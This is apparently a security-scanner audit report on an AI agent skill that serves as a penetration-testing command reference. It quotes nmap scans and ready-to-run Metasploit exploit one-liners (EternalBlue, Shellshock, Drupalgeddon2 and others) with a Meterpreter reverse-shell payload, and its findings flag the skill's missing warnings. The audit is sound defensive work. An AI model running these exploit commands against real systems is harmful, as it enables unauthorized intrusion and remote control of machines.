S³ Pentest Commands

• Outcome: Review
• Latest audit: Sep 12, 2026 · 8:01 AM UTC
• Version: 1.0.0

Overview

This skill is a disclosed penetration-testing command reference, but it includes turnkey exploitation, reverse-shell, brute-force, credential-cracking, database-dumping, packet-capture, and Wi-Fi deauthentication commands with only minimal safety scoping.

Install only if you are using it for authorized security work and are comfortable with a skill that can guide an agent toward intrusive testing. Keep use limited to owned systems, contracted scopes, or isolated labs; do not use the exploit, reverse-shell, brute-force, database-dump, packet-capture, or deauthentication examples unless you have explicit written permission and controls to avoid disruption or unauthorized access.

A.I.G

Vulnerability Patterns

• Skill Instruction Hijacking: Alters the agent's session goals or safety constraints when the skill loads
• Agent Memory Poisoning: Writes attacker-controlled rules into memory that affect later sessions
• Remote Payload Retrieval and Execution: Fetches external code whose behavior can change after review
• Embedded Malicious Code: Ships malicious scripts inside the skill and executes them locally
• Unauthorized Access and Privilege Escalation: Obtains permissions beyond the task's legitimate needs

SkillSpector

Vulnerability Patterns

• Data Exfiltration: External Transmission, Env Variable Harvesting, File System Enumeration
• YARA Signatures: Malware Match, Webshell Match, Cryptominer Match
• Prompt Injection: Instruction Override, Hidden Instructions, Exfiltration Commands
• Privilege Escalation: Excessive Permissions, Sudo/Root Execution, Credential Access
• Supply Chain: Unpinned Dependencies, External Script Fetching, Obfuscated Code

Findings (5)

YARA rule 'c2_framework_indicators': Command-and-control framework indicators (Cobalt Strike, Metasploit, Sliver, etc.) [malware]

Critical

• Category: YARA Match
• Confidence: 97% confidence

Finding

The skill description itself advertises Metasploit exploits and includes Meterpreter-related payloads, which are strong command-and-control and post-exploitation indicators. In a skill intended for agent use, this context makes the finding more dangerous because it signals an operational capability for exploitation rather than neutral documentation alone.

Content

Scanner excerpt · SKILL.md (reported line 3)May include surrounding context.

md

---
name: Pentest Commands
description: This skill should be used when the user asks to "run pentest commands", "scan with nmap", "use metasploit exploits", "crack passwords with hydra or john", "scan web vulnerabilities with nikto", "enumerate networks", or needs essential penetration testing command references.
metadata:
  author: zebbern
  version: "1.1"
---

# Pentest Commands

## Purpose

Provide a comprehensive command reference for penetration testing tools including network scanning, exploitation, password cracking, and web application testing. Enable quick command lookup during security assessments.

## Inputs/Prerequisites

- Kali Linux or penetration testing distribution
- Target IP addresses with authorization
- W

Missing User Warnings

High

• Category: Not specified by scanner
• Confidence: 98% confidence

Finding

The skill is explicitly designed to provide operational commands for scanning, exploitation, brute forcing, payload generation, and credential cracking, yet it only includes a brief authorization note and lacks prominent user-facing warnings about destructive, privacy-impacting, or system-compromising effects. This makes misuse easier and normalizes high-risk actions without sufficient safety guardrails, especially because several commands can directly compromise targets or generate malware-like payloads.

Content

No source excerpt is available for this finding.

YARA rule 'offensive_tool_references': References to well-known offensive security tools [hacktools]

High

• Category: YARA Match
• Confidence: 95% confidence

Finding

The YARA match is accurate: the skill references multiple offensive security tools and commands including scanning, enumeration, brute-force, and injection tooling. In this context the references are not incidental; they are the core function of the skill, so they materially enable offensive operations if the skill is invoked without strict authorization checks.

Content

Scanner excerpt · SKILL.md (reported line 39)May include surrounding context.

distribution

• Target IP addresses with authorization
• Wordlists for brute forcing
• Network access to target systems
• Basic understanding of tool syntax

Outputs/Deliverables

• Network enumeration results
• Identified vulnerabilities
• Exploitation payloads
• Cracked credentials
• Web vulnerability findings

Core Workflow

1. Nmap Commands

Host Discovery:

bash

# Ping sweep
nmap -sP 192.168.1.0/24

# List IPs without scanning
nmap -sL 192.168.1.0/24

# Ping scan (host discovery)
nmap -sn 192.168.1.0/24

Port Scanning:

bash

# TCP SYN scan (stealth)
nmap -sS 192.168.1.1

# Full TCP connect scan
nmap -sT 192.168.1.1

# UDP scan
nmap -sU 192.168.1.1

# All ports (1-65535)
nmap -p- 192.168.1.1

# Specific ports
nmap -p 22,80,443 192.168.1.1

Service Detection:

bash

# Service versions
nmap -sV 192.168.1.1

# OS detection
nmap -O 192.168.1.1

# Comprehensive scan
nmap -A 192.168.1.1

# Skip host discovery
nmap -Pn 192.168.1.1

*NSE Scripts:

Missing User Warnings

High

• Category: Not specified by scanner
• Confidence: 99% confidence

Finding

This range contains concrete instructions for reverse-shell payload creation, exploitation, SQL injection abuse, brute-force attacks, traffic capture, and Wi‑Fi deauthentication, but the examples are not paired with specific warnings about credential theft, service disruption, privacy invasion, or unauthorized access. Because the commands are turnkey and copy-pastable, the missing contextual safeguards materially increase the likelihood of harmful real-world misuse.

Content

No source excerpt is available for this finding.

YARA rule 'exploit_framework': Exploit framework components and payloads [hacktools]

High

• Category: YARA Match
• Confidence: 99% confidence

Finding

This section contains exploit framework usage and payload generation with Metasploit and msfvenom, including reverse shells and exploit execution against known vulnerabilities. Such content directly facilitates system compromise and persistence-like behavior, and in a general-purpose skill it significantly raises the danger beyond mere educational reference material.

Content

Scanner excerpt · SKILL.md (reported line 167)May include surrounding context.

1

text

### 2. Metasploit Commands

**Basic Usage:**

```bash
# Launch Metasploit
msfconsole

# Search for exploits
search type:exploit name:smb

# Use exploit
use exploit/windows/smb/ms17_010_eternalblue

# Show options
show options

# Set target
set RHOST 192.168.1.1

# Set payload
set PAYLOAD windows/meterpreter/reverse_tcp

# Run exploit
exploit

Common Exploits:

bash

# EternalBlue
msfconsole -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOST 192.168.1.1; exploit"

# MS08-067 (Conficker)
msfconsole -x "use exploit/windows/smb/ms08_067_netapi; set RHOST 192.168.1.1; exploit"

# vsftpd backdoor
msfconsole -x "use exploit/unix/ftp/vsftpd_234_backdoor; set RHOST 192.168.1.1; exploit"

# Shellshock
msfconsole -x "use exploit/linux/http/apache_mod_cgi_bash_env_exec; set RHOST 192.168.1.1; exploit"

# Drupalgeddon2
msfconsole -x "use exploit/unix/webapp/drupal_drupalgeddon2; set RHOST 192.168.1.1; exploit"

# PSExec
msfconsole -x "use exploit/windows/smb/psexec; set RH

Static analysis

No suspicious patterns detected.